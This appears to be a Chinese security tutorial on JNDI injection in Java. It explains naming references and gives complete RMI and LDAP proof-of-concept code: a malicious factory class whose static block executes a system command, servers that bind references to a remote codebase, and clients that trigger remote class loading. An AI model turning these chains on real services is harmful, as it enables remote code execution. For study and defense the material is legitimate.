关于 JNDI:
命名系统是一组关联的上下文, 而上下文是包含零个或多个绑定的对象, 每个绑定都有一个原子名(实际上就是给绑定的对象起个名字, 方便查找该绑定的对象), 使用 JNDI 的好处就是配置统一的管理接口, 下层可以使用 RMI,LDAP 或者 CORBA 来访问目标服务
要获取初始上下文, 需要使用初始上下文工厂
比如 JNDI+RMI
- Hashtable env = new Hashtable();
- env.put(Context.INITIAL_CONTEXT_FACTORY,
- "com.sun.jndi.rmi.registry.RegistryContextFactory");
- env.put(Context.PROVIDER_URL,
- "rmi://localhost:9999");
- Context ctx = new InitialContext(env);
- // 通过名称查找对象
- ctx.lookup("refObj");
比如 JNDI+LDAP
- Hashtable env = new Hashtable();
- env.put(Context.INITIAL_CONTEXT_FACTORY,
- "com.sun.jndi.ldap.LdapCtxFactory");
- env.put(Context.PROVIDER_URL, "ldap://localhost:1389");
- DirContext ctx = new InitialDirContext(env);
- // 通过名称查找远程对象, 假设远程服务器已经将一个远程对象与名称 cn=foo,dc=test,dc=org 绑定了
- Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");
但是如上虽然设置了初始化工厂和 provider_url, 但是 JNDI 是支持动态协议转换的, 通过使用上下文来调用 lookup 函数使用远程对象时, JNDI 可以根据提供的 URL 来自动进行转换, 所以这里的关键点就是 lookup 的参数可被攻击者控制.
JNDI 命名引用
在命名和目录服务中绑定 JAVA 对象数量过多时占用的资源太多, 然而如果能够存储对原始对象的引用那么肯定更加方便, JNDI 命名引用就是用 Reference 类表示, 其由被引用的对象和地址组成, 那么意味着此时被应用的对象是不是就可以不一定要求与提供 JNDI 服务的服务端位于同一台服务器.
Reference 通过对象工厂来构造对象. 对象工厂的实际功能就是我们需要什么对象即可通过该工厂类返回我们所需要的对象. 那么使用 JNDI 的 lookup 查找对象时, 那么 Reference 根据工厂类加载地址来加载工厂类, 此时肯定会初始化工程类, 在之前的调 JNDI payload 的过程中也和这文章讲的一样, 打 JNDI 里的三种方法其中两种就是将命令执行的代码块写到工厂类的 static 代码块或者构造方法中, 那么工厂类最后再构造出需要的对象, 这里实际就是第三种 getObjectInstance 了.
- Reference reference = new Reference("MyClass","MyClass",FactoryURL);
- ReferenceWrapper wrapper = new ReferenceWrapper(reference);
- ctx.bind("Foo", wrapper);
比如上面这三段代码即通过 Reference 绑定了远程对象并提供工厂地址, 那么当客户端查找 Foo 名称的对象时将会到工厂地址处去加载工厂类到本地.
从远程加载类时有两种不同级别:
1. 命名管理器级别
2. 服务提供者 (SPI) 级别
直接打 RMI 时加载远程类时要求强制安装 Security Manager, 并且要求 useCodebaseOnly 为 false, 直接打 LDAP 时要求 com.sun.jndi.ldap.object.trustURLCodebase = true(默认为 false), 因为这都是从服务提供者接口 (SPI) 级别来加载远程类.
但是在命名管理级别不需要安装安全管理器 (security manager) 且 jvm 选项中低版本的不受 useCodebaseOnly 限制
JNDI Reference+RMI 攻击
- Reference refObj = new Reference("refClassName", "FactoryClassName", "http://example.com:12345/");//refClassName 为类名加上包名, FactoryClassName 为工厂类名并且包含工厂类的包名
- ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
- registry.bind("refObj", refObjWrapper);
此时当客户端通过 lookup('refObj')获取远程对象时, 此时将拿到 reference 类, 然后接下来将去本地的 classpath 中去找名为 refClassName 的类, 如果本地没找到, 则将会 Reference 中指定的工厂地址中去找工厂类
RMIClinent.java
- package com.longofo.jndi;
- import javax.naming.Context;
- import javax.naming.InitialContext;
- import javax.naming.NamingException;
- import javax.naming.directory.DirContext;
- import javax.naming.directory.InitialDirContext;
- import java.rmi.NotBoundException;
- import java.rmi.RemoteException;
- public class RMIClient1 {
- public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
- // Properties env = new Properties();
- // env.put(Context.INITIAL_CONTEXT_FACTORY,
- // "com.sun.jndi.rmi.registry.RegistryContextFactory");
- // env.put(Context.PROVIDER_URL,
- // "rmi://localhost:9999");
- Context ctx = new InitialContext();
- ctx.lookup("rmi://localhost:9999/refObj");
- }
- }
RMIServer.java
- package com.longofo.jndi;
- import com.sun.jndi.rmi.registry.ReferenceWrapper;
- import javax.naming.NamingException;
- import javax.naming.Reference;
- import java.rmi.AlreadyBoundException;
- import java.rmi.RemoteException;
- import java.rmi.registry.LocateRegistry;
- import java.rmi.registry.Registry;
- public class RMIServer1 {
- public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
- // 创建 Registry
- Registry registry = LocateRegistry.createRegistry(9999);
- System.out.println("java RMI registry created. port on 9999...");
- Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/");
- ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
- registry.bind("refObj", refObjWrapper);
- }
- }
ExportObject.java
- package com.longofo.remoteclass;
- import javax.naming.Context;
- import javax.naming.Name;
- import javax.naming.spi.ObjectFactory;
- import java.io.BufferedInputStream;
- import java.io.BufferedReader;
- import java.io.InputStreamReader;
- import java.io.Serializable;
- import java.util.Hashtable;
- public class ExportObject implements ObjectFactory, Serializable {
- private static final long serialVersionUID = 4474289574195395731L;
- static {
- // 这里由于在 static 代码块中, 无法直接抛异常外带数据, 不过在 static 中应该也有其他方式外带数据. 没写在构造函数中是因为项目中有些利用方式不会调用构造参数, 所以为了方标直接写在 static 代码块中所有远程加载类的地方都会调用 static 代码块
- try {
- exec("calc");
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- public static void exec(String cmd) throws Exception {
- String sb = "";
- BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
- BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
- String lineStr;
- while ((lineStr = inBr.readLine()) != null)
- sb += lineStr + "\n";
- inBr.close();
- in.close();
- // throw new Exception(sb);
- }
- public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
- System.out.println("333");
- return null;
- }
- public ExportObject(){
- System.out.println("222");
- }
- }
此时服务端创建注册表, 此时将 Reference 对象绑定到注册表中, 此时
从上面的代码中可以看到此时初始化工厂后就可以来调用远程对象
此时由输出也可以看到此时触发了工厂类的 static 代码块和构造方法以及 getObjectInstance 方法
在客户端 lookup 处下断点跟踪也可以去发现整个的调用链, 其中 getReference 首先拿到绑定对象的引用, 然后再通过 getObjectFactoryFromReference 从 Reference 拿到对象工厂, 之后再从对象工厂拿到我们最初想要查找的对象的实例.
JNDI Reference+LDAP
LDAPSeriServer.java
- package com.longofo;
- import com.unboundid.ldap.listener.InMemoryDirectoryServer;
- import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
- import com.unboundid.ldap.listener.InMemoryListenerConfig;
- import javax.NET.ServerSocketFactory;
- import javax.NET.SocketFactory;
- import javax.NET.ssl.SSLSocketFactory;
- import java.io.IOException;
- import java.NET.InetAddress;
- /**
- * LDAP server implementation returning JNDI references
- *
- * @author mbechler
- */
- public class LDAPSeriServer {
- private static final String LDAP_BASE = "dc=example,dc=com";
- public static void main(String[] args) throws IOException {
- int port = 1389;
- try {
- InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
- config.setListenerConfigs(new InMemoryListenerConfig(
- "listen", //$NON-NLS-1$
- InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
- port,
- ServerSocketFactory.getDefault(),
- SocketFactory.getDefault(),
- (SSLSocketFactory) SSLSocketFactory.getDefault()));
- config.setSchema(null);
- config.setEnforceAttributeSyntaxCompliance(false);
- config.setEnforceSingleStructuralObjectClass(false);
- InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
- ds.add("dn:" + "dc=example,dc=com", "objectClass: test_node1"); // 因为 LDAP 是树形结构的, 因此这里要构造树形节点, 那么肯定有父节点与子节点
- ds.add("dn:" + "ou=employees,dc=example,dc=com", "objectClass: test_node3");
- ds.add("dn:" + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject"); // 此子节点中存储 Reference 类名
- System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
- ds.startListening(); //LDAP 服务开始监听
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- }
LDAPServer.java
- package com.longofo;
- import javax.naming.Context;
- import javax.naming.NamingException;
- import javax.naming.directory.BasicAttribute;
- import javax.naming.directory.DirContext;
- import javax.naming.directory.InitialDirContext;
- import javax.naming.directory.ModificationItem;
- import java.io.File;
- import java.io.IOException;
- import java.nio.file.Files;
- import java.util.Hashtable;
- public class LDAPServer1 {
- public static void main(String[] args) throws NamingException, IOException {
- Hashtable env = new Hashtable();
- env.put(Context.INITIAL_CONTEXT_FACTORY,
- "com.sun.jndi.ldap.LdapCtxFactory");
- env.put(Context.PROVIDER_URL, "ldap://localhost:1389");
- DirContext ctx = new InitialDirContext(env);
- String javaCodebase = "http://127.0.0.1:8000/"; // 配置加载远程工厂类的地址
- byte[] javaSerializedData = Files.readAllBytes(new File("C:\\Users\\91999\\Desktop\\rmi-jndi-ldap-jrmp-jmx-jms-master\\ldap\\src\\main\\java\\com\\longofo\\1.ser").toPath());
- BasicAttribute mod1 = new
- BasicAttribute("javaCodebase", javaCodebase);
- BasicAttribute mod2 = new
- BasicAttribute("javaClassName", "DeserPayload");
- BasicAttribute mod3 = new BasicAttribute("javaSerializedData",
- javaSerializedData);
- ModificationItem[] mods = new ModificationItem[3];
- mods[0] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1);
- mods[1] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2);
- mods[2] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3);
- ctx.modifyAttributes("uid=longofo,ou=employees,dc=example,dc=com", mods);
- }
- }
LDAPClient.java
- package com.longofo.jndi;
- import javax.naming.Context;
- import javax.naming.InitialContext;
- import javax.naming.NamingException;
- public class LDAPClient1 {
- public static void main(String[] args) throws NamingException {
- System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
- Context ctx = new InitialContext();
- Object object = ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com");
- }
- }
此时客户端初始化上下文后就可以去访问 ldap 服务器上对应的记录, 记录名为 uid=longofo,ou=employees,dc=example,dc=com , 那么对应在服务端的命名空间中必定存在这条记录, 以及绑定的 Reference 对象. 此时就能 calc.
来源: https://www.cnblogs.com/tr1ple/p/12232601.html